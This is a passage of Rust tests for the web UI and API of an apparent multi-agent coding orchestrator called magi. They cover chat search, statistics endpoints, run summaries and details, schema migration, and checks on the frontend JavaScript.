19434 });
19435 assert!(search_chat(&terms, &talk).unwrap().target.is_none());
19436 }
19437
19438 #[tokio::test]
19439 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
19440 let f = Fixture::start().await;
19441 write_talk(
19442 &f,
19443 "20260901-000001-aaaa",
19444 "open",
19445 &[
19446 (
19447 "operator",
19448 "\n Why does the Pangolin cache expire?\nsecond line",
19449 ),
19450 ("agent", "Because the TTL is thirty seconds."),
19451 ],
19452 );
19453 write_talk(
19454 &f,
19455 "20260901-000002-bbbb",
19456 "closed",
19457 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
19458 );
19459 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
19460
19461 let search = |q: &'static str| {
19462 let f = &f;
19463 async move {
19464 f.get(&format!("/api/search?scope=chats&q={q}"))
19465 .await
19466 .json()
19467 }
19468 };
19469
19470 let v = search("PANGOLIN").await;
19471 assert_eq!(v["scope"], "chats");
19472 assert_eq!(v["total"], 1, "{v}");
19473 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
19474 assert_eq!(v["hits"][0]["field"], "title");
19475 assert_eq!(v["unreadable"], 1, "{v}");
19476 let marked: Vec<&str> = v["hits"][0]["snippet"]
19477 .as_array()
19478 .unwrap()
19479 .iter()
19480 .filter(|p| p["hit"] == true)
19481 .map(|p| p["text"].as_str().unwrap())
19482 .collect();
19483 assert_eq!(marked, ["Pangolin"]);
19484
19485 let v = search("zebra").await;
19487 assert_eq!(v["total"], 1, "{v}");
19488 assert_eq!(v["hits"][0]["field"], "agent");
19489 assert_eq!(search("pangolin%20thirty").await["total"], 1);
19491 assert_eq!(search("pangolin%20zebra").await["total"], 0);
19492 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
19494 assert_eq!(search(q).await["total"], 0, "{q}");
19495 }
19496 assert_eq!(search("second").await["hits"][0]["field"], "operator");
19498 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
19500
19501 let v = f.get("/api/search?scope=nope&q=a").await;
19502 assert_eq!(v.status, 400);
19503 assert!(
19504 v.body.contains("scope must be runs, tasks or chats"),
19505 "{}",
19506 v.body
19507 );
19508 }
19509
19510 #[test]
19511 fn a_question_card_links_a_task_id_to_the_task_page() {
19512 let start = APP_JS
19513 .find("function updateAskCard(")
19514 .expect("updateAskCard exists");
19515 let body = &APP_JS[start..];
19516 let body = &body[..body.find("\n}\n").expect("function end")];
19517 assert!(body.contains("question.run_is_task"));
19518 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
19519 assert!(body.contains("`#/runs/${question.run}`"));
19520 assert!(body.contains("\"task\" : \"run\""));
19521 }
19522
19523 #[test]
19524 fn plain_text_message_surfaces_go_through_linkify() {
19525 assert!(APP_JS.contains("function linkify("));
19526 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
19527 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
19528 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
19529 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
19530 assert!(!APP_JS.contains("innerHTML = text"));
19531 }
19532
19533 #[test]
19534 fn implementation_rate_views_keep_independent_samples() {
19535 for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
19536 let a = stats::AgentStats {
19537 competitive_entered: competitive_n,
19538 competitive_wins: usize::from(competitive_n > 0),
19539 solo_entered: solo_n,
19540 solo_adopted: 2 * usize::from(solo_n > 0),
19541 ..Default::default()
19542 };
19543 let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
19544 for (key, n, numerator) in [
19545 ("competitive_win_rate", competitive_n, a.competitive_wins),
19546 ("solo_adoption_rate", solo_n, a.solo_adopted),
19547 ] {
19548 if n == 0 {
19549 assert!(v[key].is_null());
19550 } else {
19551 assert_eq!(v[key]["denominator"], n);
19552 assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
19553 }
19554 }
19555 }
19556 assert!(APP_JS.contains("rate: a.competitive_win_rate"));
19557 assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
19558 assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
19559 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
19560 }
19561
19562 #[test]
19563 fn stats_bars_share_one_id_keyed_plan() {
19564 let start = APP_JS
19565 .find("function statsBarRows(")
19566 .expect("statsBarRows exists");
19567 let body = &APP_JS[start..];
19568 let body = &body[..body.find("\n}\n").expect("function end")];
19569 assert!(body.contains("statsBarPlan(rows)"));
19570 assert!(body.contains("statsAgentTone(row.agent)"));
19571 assert!(!body.contains("candTone(i)"));
19572 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
19573 for root in [
19574 "stats-agents-bars",
19575 "stats-solo-bars",
19576 "stats-reviewers-bars",
19577 ] {
19578 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
19579 }
19580 }
19581
19582 #[test]
19583 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
19584 let start = APP_JS
19585 .find("function renderStatsReviewerScatter(")
19586 .expect("renderStatsReviewerScatter exists");
19587 let body = &APP_JS[start..];
19588 let body = &body[..body.find("\n}\n").expect("function end")];
19589 assert!(body.contains("statsScatterPlan(reviewers)"));
19590 assert!(body.contains("statsAgentTone(d.agent)"));
19591 assert!(APP_JS.contains("function statsScatterPlan("));
19592 assert!(
19593 APP_JS.contains("d.submitted < STATS_LOW_N")
19594 || APP_JS.contains("r.submitted < STATS_LOW_N")
19595 );
19596 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
19597 assert!(APP_CSS.contains(".precision-scatter"));
19598 }
19599
19600 #[test]
19601 fn advisor_reflection_is_drawn_as_stacked_segments() {
19602 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
19603 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
19604 let html = include_str!("../assets/ui/index.html");
19605 assert!(html.contains("Approximate"));
19606 for label in ["reflected strongly", "faint", "no proposal"] {
19607 assert!(html.contains(label));
19608 }
19609 let css = include_str!("../assets/ui/app.css");
19610 for c in ["refl-strong", "refl-faint", "refl-absent"] {
19611 assert!(css.contains(&format!(".{c} {{")));
19612 }
19613 }
19614
19615 #[test]
19616 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
19617 assert!(APP_JS.contains("function statsDailyPlan("));
19618 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
19619 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
19620 }
19621
19622 #[test]
19623 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
19624 let start = APP_JS
19625 .find("function scheduleSearch(")
19626 .expect("scheduleSearch exists");
19627 let body = &APP_JS[start..];
19628 let body = &body[..body.find("\n}\n").expect("function end")];
19629 assert!(body.contains("s.seq += 1"));
19630 }
19631
19632 #[tokio::test]
19637 async fn stats_runs_unreadable_matches_health() {
19638 let f = Fixture::start().await;
19639 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
19640 let broken = f.runs().join("20260902-140502-bad");
19641 std::fs::create_dir_all(&broken).expect("run dir");
19642 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
19643
19644 let stats = f.get("/api/stats").await;
19645 let health = f.get("/api/health").await;
19646
19647 assert_eq!(stats.status, 200);
19648 assert_eq!(stats.json()["totals"]["runs"], 1);
19649 assert_eq!(stats.json()["runs_unreadable"], 1);
19650 assert_eq!(
19651 stats.json()["runs_unreadable"],
19652 health.json()["runs_unreadable"],
19653 "the dashboard and /api/health must never disagree about how many \
19654 runs could not be read"
19655 );
19656 }
19657
19658 #[tokio::test]
19659 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
19660 let f = Fixture::start().await;
19661 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
19662 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
19663 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
19664
19665 let totals = &f.get("/api/stats").await.json()["totals"];
19666 assert_eq!(totals["runs"], 3);
19667 assert_eq!(totals["merged"], 1);
19668 assert_eq!(totals["stalled"], 1);
19669 assert_eq!(totals["in_progress"], 1);
19670 assert_eq!(totals["blocked"], 0);
19673 assert_eq!(totals["ready"], 0);
19674 }
19675
19676 #[tokio::test]
19677 async fn stats_advisors_report_proposals_and_reflection() {
19678 use crate::advise::{Advice, AdvisorRecord, Reflection};
19679 use crate::verdict::Proposal;
19680
19681 let f = Fixture::start().await;
19682 let mut state = RunState::new(
19683 PathBuf::from("/repo/magi"),
19684 "main".to_owned(),
19685 "0123456789abcdef".to_owned(),
19686 "task".to_owned(),
19687 Config::default(),
19688 );
19689 state.id = "20260902-140501-a".to_owned();
19690 state.status = RunStatus::Merged;
19691 state.advice = Some(Advice {
19692 records: vec![
19693 AdvisorRecord {
19694 seat: "advisor-1".to_owned(),
19695 agent: "alpha".to_owned(),
19696 proposal: Some(Proposal {
19697 approach: "do it".to_owned(),
19698 key_tradeoff: "speed over memory".to_owned(),
19699 risks: Vec::new(),
19700 touches: Vec::new(),
19701 why_not_naive: "breaks under load".to_owned(),
19702 }),
19703 error: None,
19704 duration_ms: 0,
19705 reflection: Reflection::Strong,
19706 },
19707 AdvisorRecord {
19708 seat: "advisor-2".to_owned(),
19709 agent: "alpha".to_owned(),
19710 proposal: None,
19711 error: Some("timed out".to_owned()),
19712 duration_ms: 0,
19713 reflection: Reflection::Absent,
19714 },
19715 ],
19716 synthesis: Some("blended brief".to_owned()),
19717 });
19718 let dir = f.runs().join(&state.id);
19719 std::fs::create_dir_all(&dir).expect("run dir");
19720 std::fs::write(
19721 dir.join("run.json"),
19722 serde_json::to_string_pretty(&state).expect("serialize run"),
19723 )
19724 .expect("write run.json");
19725
19726 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
19728 let alpha = advisors
19729 .as_array()
19730 .expect("an array")
19731 .iter()
19732 .find(|a| a["agent"] == "alpha")
19733 .expect("alpha row");
19734 assert_eq!(alpha["seated"], 2);
19735 assert_eq!(alpha["proposed"], 1);
19736 assert_eq!(alpha["absent"], 1);
19737 assert_eq!(alpha["strong"], 1);
19738 assert_eq!(alpha["faint"], 0);
19739 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
19740 }
19741
19742 #[tokio::test]
19743 async fn stats_hides_agents_outside_the_roster_unless_all() {
19744 use crate::run::Candidate;
19745 let repo = TempDir::new().expect("repo dir");
19746 std::fs::write(
19747 repo.path().join("magi.toml"),
19748 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
19749 )
19750 .expect("magi.toml");
19751 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
19752 let mut state = RunState::new(
19753 PathBuf::from("/repo/magi"),
19754 "main".to_owned(),
19755 "0123456789abcdef".to_owned(),
19756 "task".to_owned(),
19757 Config::default(),
19758 );
19759 state.id = "20260902-140501-a".to_owned();
19760 state.status = RunStatus::Merged;
19761 for (label, agent) in [('A', "keep"), ('B', "retired")] {
19762 let mut c: Candidate = serde_json::from_value(serde_json::json!({
19763 "index": 0, "label": label.to_string(), "agent": agent,
19764 "branch": "b", "worktree": "/w",
19765 }))
19766 .expect("candidate");
19767 c.label = label;
19768 state.candidates.push(c);
19769 }
19770 let dir = f.runs().join(&state.id);
19771 std::fs::create_dir_all(&dir).expect("run dir");
19772 std::fs::write(
19773 dir.join("run.json"),
19774 serde_json::to_string_pretty(&state).expect("serialize run"),
19775 )
19776 .expect("write run.json");
19777
19778 let agents_of = |v: &serde_json::Value| -> Vec<String> {
19779 v["agents"]
19780 .as_array()
19781 .expect("array")
19782 .iter()
19783 .map(|a| a["agent"].as_str().unwrap().to_owned())
19784 .collect()
19785 };
19786 let hidden = f.get("/api/stats").await.json();
19787 assert_eq!(agents_of(&hidden), ["keep"]);
19788 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
19789 assert_eq!(hidden["totals"]["runs"], 1);
19790
19791 let all = f.get("/api/stats?all=true").await.json();
19792 assert_eq!(agents_of(&all).len(), 2);
19793 assert_eq!(all["retired_hidden"], serde_json::json!([]));
19794 let keep_agent = all["agents"]
19796 .as_array()
19797 .unwrap()
19798 .iter()
19799 .find(|a| a["agent"] == "keep")
19800 .unwrap();
19801 assert_eq!(keep_agent["competitive_entered"], 1);
19802 assert_eq!(keep_agent["competitive_wins"], 0);
19803 assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
19804 assert_eq!(keep_agent["solo_entered"], 0);
19805 assert_eq!(keep_agent["solo_adopted"], 0);
19806 assert!(keep_agent["solo_adoption_rate"].is_null());
19807 }
19808
19809 #[tokio::test]
19810 async fn stats_release_bumps_split_clean_from_attention() {
19811 use crate::run::ReleaseBump;
19812
19813 let f = Fixture::start().await;
19814
19815 let mut clean = RunState::new(
19816 PathBuf::from("/repo/magi"),
19817 "main".to_owned(),
19818 "0123456789abcdef".to_owned(),
19819 "task".to_owned(),
19820 Config::default(),
19821 );
19822 clean.id = "20260902-140501-a".to_owned();
19823 clean.status = RunStatus::Merged;
19824 clean.release_bump = Some(ReleaseBump {
19825 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
19826 version: Some("1.0.0".to_owned()),
19827 automerge_enabled: true,
19828 merged_directly: false,
19829 local: false,
19830 release: None,
19831 problem: None,
19832 action_required: None,
19833 skipped: None,
19834 });
19835
19836 let mut blocked = RunState::new(
19837 PathBuf::from("/repo/magi"),
19838 "main".to_owned(),
19839 "0123456789abcdef".to_owned(),
19840 "task".to_owned(),
19841 Config::default(),
19842 );
19843 blocked.id = "20260902-140502-b".to_owned();
19844 blocked.status = RunStatus::Merged;
19845 blocked.release_bump = Some(ReleaseBump {
19846 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
19847 version: Some("1.0.1".to_owned()),
19848 automerge_enabled: false,
19849 merged_directly: false,
19850 local: false,
19851 release: None,
19852 problem: Some("checks red".to_owned()),
19853 action_required: Some("look at the PR".to_owned()),
19854 skipped: None,
19855 });
19856
19857 for state in [&clean, &blocked] {
19858 let dir = f.runs().join(&state.id);
19859 std::fs::create_dir_all(&dir).expect("run dir");
19860 std::fs::write(
19861 dir.join("run.json"),
19862 serde_json::to_string_pretty(state).expect("serialize run"),
19863 )
19864 .expect("write run.json");
19865 }
19866
19867 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
19868 assert_eq!(bumps["merged"], 2);
19869 assert_eq!(bumps["recorded"], 2);
19870 assert_eq!(bumps["pr_opened"], 2);
19871 assert_eq!(bumps["automerge_enabled"], 1);
19872 assert_eq!(bumps["needs_attention"], 1);
19873 assert_eq!(bumps["clean"], 1);
19874 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
19875 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
19876 }
19877
19878 #[tokio::test]
19879 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
19880 let f = Fixture::start().await;
19881 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
19882
19883 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
19884 assert_eq!(bumps["merged"], 1);
19885 assert_eq!(bumps["recorded"], 0);
19886 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
19889 assert_eq!(bumps["automerge_rate"], Value::Null);
19892 assert_eq!(bumps["attention_rate"], Value::Null);
19893 }
19894
19895 #[tokio::test]
19896 async fn stats_queue_counts_come_from_the_live_queue() {
19897 let f = Fixture::start().await;
19898 let q = f.queue();
19899 let mut queued = Task::new(
19900 "queued task".to_owned(),
19901 "do it".to_owned(),
19902 PathBuf::from("/repo"),
19903 Source::Human,
19904 );
19905 q.put(&mut queued).expect("put queued");
19906 let mut held = Task::new(
19907 "held task".to_owned(),
19908 "do it later".to_owned(),
19909 PathBuf::from("/repo"),
19910 Source::Human,
19911 );
19912 held.hold_machine(Some("out of attempts".to_owned()));
19913 q.put(&mut held).expect("put held");
19914
19915 let queue = f.get("/api/stats").await.json()["queue"].clone();
19916 assert_eq!(queue["queued"], 1);
19917 assert_eq!(queue["held"], 1);
19918 assert_eq!(queue["running"], 0);
19919 assert_eq!(queue["done"], 0);
19920 assert_eq!(queue["failed"], 0);
19921 assert_eq!(queue["blocked"], 0);
19922 }
19923
19924 #[tokio::test]
19925 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
19926 let f = Fixture::start().await;
19927 let stats = f.get("/api/stats").await;
19928 assert_eq!(stats.status, 200);
19929 assert_eq!(stats.json()["totals"]["runs"], 0);
19930 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
19931 assert_eq!(stats.json()["runs_unreadable"], 0);
19932 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
19933 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
19934 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
19935 assert_eq!(stats.json()["repo"], Value::Null);
19936 }
19937
19938 #[tokio::test]
19939 async fn stats_lists_every_repository_with_runs_recorded() {
19940 let f = Fixture::start().await;
19941 write_run_repo(
19942 &f.runs(),
19943 "20260902-140501-a",
19944 RunStatus::Merged,
19945 "/repos/a",
19946 );
19947 write_run_repo(
19948 &f.runs(),
19949 "20260902-140502-b",
19950 RunStatus::Merged,
19951 "/repos/a",
19952 );
19953 write_run_repo(
19954 &f.runs(),
19955 "20260902-140503-c",
19956 RunStatus::Blocked,
19957 "/repos/b",
19958 );
19959
19960 let stats = f.get("/api/stats").await;
19961 assert_eq!(stats.status, 200);
19962 assert_eq!(stats.json()["totals"]["runs"], 3);
19964 assert_eq!(stats.json()["repo"], Value::Null);
19965
19966 let repos = stats.json()["repos"].clone();
19967 let repos = repos.as_array().unwrap();
19968 assert_eq!(repos.len(), 2);
19969 assert_eq!(repos[0]["repo"], "/repos/a");
19971 assert_eq!(repos[0]["name"], "a");
19972 assert_eq!(repos[0]["runs"], 2);
19973 assert_eq!(repos[1]["repo"], "/repos/b");
19974 assert_eq!(repos[1]["runs"], 1);
19975 }
19976
19977 #[tokio::test]
19978 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
19979 let f = Fixture::start().await;
19980 write_run_repo(
19981 &f.runs(),
19982 "20260902-140501-a",
19983 RunStatus::Merged,
19984 "/repos/a",
19985 );
19986 write_run_repo(
19987 &f.runs(),
19988 "20260902-140502-b",
19989 RunStatus::Blocked,
19990 "/repos/b",
19991 );
19992
19993 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
19994 assert_eq!(stats.status, 200);
19995 assert_eq!(stats.json()["totals"]["runs"], 1);
19996 assert_eq!(stats.json()["totals"]["merged"], 1);
19997 assert_eq!(stats.json()["repo"], "/repos/a");
19998 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
20001 assert_eq!(stats.json()["runs_unreadable"], 0);
20004 }
20005
20006 #[tokio::test]
20007 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
20008 let f = Fixture::start().await;
20009 write_run_repo(
20010 &f.runs(),
20011 "20260902-140501-a",
20012 RunStatus::Merged,
20013 "/repos/a",
20014 );
20015 write_run_repo(
20016 &f.runs(),
20017 "20260902-140502-b",
20018 RunStatus::Merged,
20019 "/repos/b",
20020 );
20021
20022 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
20023 let json = f.get(uri).await.json();
20024 let daily = json["daily"].as_array().expect("daily is an array");
20025 assert_eq!(daily.len(), 30);
20026 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
20027 let mut sorted = dates.clone();
20028 sorted.sort();
20029 assert_eq!(dates, sorted);
20030 for d in daily {
20031 assert_eq!(
20032 d["merged"].as_u64().unwrap()
20033 + d["ready"].as_u64().unwrap()
20034 + d["other"].as_u64().unwrap(),
20035 d["runs"].as_u64().unwrap()
20036 );
20037 }
20038 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
20039 }
20040 }
20041
20042 #[tokio::test]
20043 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
20044 let f = Fixture::start().await;
20045 write_run_repo(
20046 &f.runs(),
20047 "20260902-140501-a",
20048 RunStatus::Merged,
20049 "/repos/a",
20050 );
20051
20052 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
20053 assert_eq!(stats.status, 404);
20054 }
20055
20056 #[tokio::test]
20057 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
20058 let f = Fixture::start().await;
20059 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
20060
20061 let summary = f.get("/api/runs").await.json();
20062 let row = &summary[0];
20063 assert_eq!(row["short"], "a1b2");
20064 assert_eq!(row["status"], "ready");
20065 assert_eq!(row["done"], true);
20066 assert_eq!(row["title"], "Add a web UI");
20067 assert_eq!(row["repo_name"], "magi");
20068 assert_eq!(row["judges"], 3);
20069 assert_eq!(row["winner"], Value::Null);
20070 assert_eq!(row["reviews"], 0);
20071
20072 let detail = f.get("/api/runs/a1b2").await;
20075 assert_eq!(detail.status, 200);
20076 assert_eq!(detail.json()["base_branch"], "main");
20077 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
20078 }
20079
20080 #[tokio::test]
20088 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
20089 let f = Fixture::start().await;
20090
20091 let mut none_run = RunState::new(
20092 PathBuf::from("/repo/magi"),
20093 "main".to_owned(),
20094 "0123456789abcdef".to_owned(),
20095 "Add a web UI".to_owned(),
20096 Config::default(),
20097 );
20098 none_run.id = "20260902-140503-none".to_owned();
20099 none_run.status = RunStatus::Ready;
20100 none_run.merge = Some(crate::run::MergeOutcome {
20101 mode: crate::config::MergeMode::None,
20102 ok: true,
20103 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
20104 empty: false,
20105 });
20106 write_state(&f.runs(), &none_run);
20107
20108 let mut pr_run = RunState::new(
20109 PathBuf::from("/repo/magi"),
20110 "main".to_owned(),
20111 "0123456789abcdef".to_owned(),
20112 "Add a web UI".to_owned(),
20113 Config::default(),
20114 );
20115 pr_run.id = "20260902-140504-prcl".to_owned();
20116 pr_run.status = RunStatus::Ready;
20117 pr_run.merge = Some(crate::run::MergeOutcome {
20118 mode: crate::config::MergeMode::Pr,
20119 ok: false,
20120 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
20121 empty: false,
20122 });
20123 write_state(&f.runs(), &pr_run);
20124
20125 let summary = f.get("/api/runs").await.json();
20126 let rows: std::collections::HashMap<&str, &Value> = summary
20127 .as_array()
20128 .expect("an array")
20129 .iter()
20130 .map(|r| (r["id"].as_str().expect("an id"), r))
20131 .collect();
20132 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
20133 assert_eq!(
20134 rows[none_run.id.as_str()]["unmerged_by_design"],
20135 true,
20136 "a mode-none Ready must be flagged in the list"
20137 );
20138 assert_eq!(
20139 rows[pr_run.id.as_str()]["unmerged_by_design"],
20140 false,
20141 "a Ready reached by a closed pull request is a different case"
20142 );
20143
20144 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
20145 assert_eq!(none_detail["status"], "ready");
20146 assert_eq!(none_detail["unmerged_by_design"], true);
20147
20148 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
20149 assert_eq!(pr_detail["unmerged_by_design"], false);
20150 }
20151
20152 #[tokio::test]
20157 async fn run_core_survives_unavailable_related_stores() {
20158 let home = TempDir::new().unwrap();
20159 let ui = delta_test_ui(home.path());
20160 let state = RunState::new(
20161 PathBuf::from("/repo/magi"),
20162 "main".into(),
20163 "0123456789abcdef".into(),
20164 "Useful core instructions".into(),
20165 Config::default(),
20166 );
20167 let dir = ui.runs.join(&state.id);
20168 std::fs::create_dir_all(&dir).unwrap();
20169 std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
20170 std::fs::write(ui.questions.root(), "unavailable").unwrap();
20171 std::fs::write(ui.queue.root(), "unavailable").unwrap();
20172 let core = run_core(State(ui.clone()), Path(state.id.clone()))
20173 .await
20174 .unwrap()
20175 .0;
20176 assert_eq!(core.state.instruction, state.instruction);
20177 assert_eq!(core.state.updated_at, state.updated_at);
20178 assert!(core.task.is_none());
20179 assert!(run_detail(State(ui), Path(state.id)).await.is_err());
20180 }
20181
20182 #[tokio::test]
20183 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
20184 let f = Fixture::start().await;
20185 let id = "20260902-140502-bbbb";
20189 let mut state = RunState::new(
20190 PathBuf::from("/repo/magi"),
20191 "main".to_owned(),
20192 "0123456789abcdef".to_owned(),
20193 "Add a web UI".to_owned(),
20194 Config::default(),
20195 );
20196 state.id = id.to_owned();
20197 state.status = RunStatus::Judging;
20198 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
20199 let dir = f.runs().join(id);
20200 std::fs::create_dir_all(&dir).expect("run dir");
20201 std::fs::write(
20202 dir.join("run.json"),
20203 serde_json::to_string_pretty(&state).expect("serialize run"),
20204 )
20205 .expect("write run.json");
20206
20207 let cold = f.get(&format!("/api/runs/{id}")).await.json();
20213 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
20214 assert_eq!(cold["live"], "unknown", "{cold}");
20215
20216 write_daemon(f.home.path(), Timestamp::now());
20219 let warm = f.get(&format!("/api/runs/{id}")).await.json();
20220 assert_eq!(warm["live"], "live", "{warm}");
20221 }
20222
20223 #[test]
20224 fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
20225 let home = tempfile::tempdir().expect("temp home");
20226 let runs = home.path().join("runs");
20227 for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
20228 let mut state = RunState::new(
20229 PathBuf::from("/repo/magi"),
20230 "main".to_owned(),
20231 "0123456789abcdef".to_owned(),
20232 "Generated review context, not authored task criteria".to_owned(),
20233 Config::default(),
20234 );
20235 state.origin = origin;
20236 state.status = RunStatus::Blocked;
20237 state.driver_exited = false;
20239 state.gate_ran = true;
20240 let expected = serde_json::to_value(&state).expect("serialize current state");
20241 let mut legacy = expected.clone();
20242 legacy["schema"] = serde_json::json!(13);
20243 legacy.as_object_mut().unwrap().remove("task_instruction");
20244 let dir = runs.join(&state.id);
20245 std::fs::create_dir_all(&dir).expect("run dir");
20246 let path = dir.join("run.json");
20247 let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
20248 std::fs::write(&path, &body).expect("write legacy run");
20249
20250 for loaded in [
20251 RunState::load_under(&state.id, home.path()).expect("CLI migration"),
20252 read_run(&runs, &state.id).expect("web migration"),
20253 ] {
20254 assert_eq!(loaded.schema, crate::run::SCHEMA);
20255 assert!(loaded.task_instruction.is_none());
20256 assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
20257 }
20258 assert_eq!(runs_unreadable(&runs), 0);
20259 assert_eq!(std::fs::read(&path).unwrap(), body);
20260 }
20261 }
20262
20263 #[tokio::test]
20266 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
20267 let f = Fixture::start().await;
20268 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
20269 let mut state = RunState::new(
20270 PathBuf::from("/repo/magi"),
20271 "main".to_owned(),
20272 "0123456789abcdef".to_owned(),
20273 "Add a web UI".to_owned(),
20274 Config::default(),
20275 );
20276 state.id = id.to_owned();
20277 state.origin = origin;
20278 let mut value = serde_json::to_value(&state).expect("serialize run");
20279 if let Some(schema) = schema {
20280 value["schema"] = serde_json::json!(schema);
20281 value.as_object_mut().unwrap().remove("origin");
20282 }
20283 let dir = f.runs().join(id);
20284 std::fs::create_dir_all(&dir).expect("run dir");
20285 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
20286 };
20287 write(
20288 "20260930-092817-ec34",
20289 Some(crate::run::Origin::from_agent_env(
20290 Some(("4a7b".to_owned(), "chat".to_owned())),
20291 None,
20292 )),
20293 None,
20294 );
20295 write("20260930-092817-0ld1", None, Some(12));
20296
20297 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
20298 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
20299 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
20300
20301 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
20302 assert_eq!(
20303 old["origin_label"], "origin unknown (started before origins were recorded)",
20304 "{old}"
20305 );
20306 assert!(old["origin"].is_null(), "{old}");
20307
20308 let list = f.get("/api/runs").await.json();
20309 let labels: Vec<_> = list
20310 .as_array()
20311 .unwrap()
20312 .iter()
20313 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
20314 .collect();
20315 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
20316 }
20317
20318 #[tokio::test]
20319 async fn run_progress_observation_exposes_activity_without_control_evidence() {
20320 let f = Fixture::start().await;
20321 let mut state = RunState::new(
20322 PathBuf::from("/repo"),
20323 "main".into(),
20324 "abc".into(),
20325 "task".into(),
20326 Config::default(),
20327 );
20328 state.status = RunStatus::Implementing;
20329 state.seat_started(
20330 "implement",
20331 "implement-A",
20332 std::time::Duration::from_secs(60),
20333 0,
20334 );
20335 state.save_under(f.home.path()).unwrap();
20336 let observed = f
20337 .get(&format!("/api/runs/{}/progress", state.id))
20338 .await
20339 .json();
20340 assert_eq!(observed["id"], state.id);
20341 assert!(observed["observed_at"].is_string());
20342 assert_eq!(observed["updated_at"], state.updated_at.to_string());
20343 assert!(observed["progress"]["activity"].is_string());
20344 for field in [
20345 "config",
20346 "candidates",
20347 "land_approval",
20348 "task",
20349 "waiting",
20350 "done",
20351 ] {
20352 assert!(
20353 observed.get(field).is_none(),
20354 "progress must not expose control evidence: {field}"
20355 );
20356 }
20357 }
20358
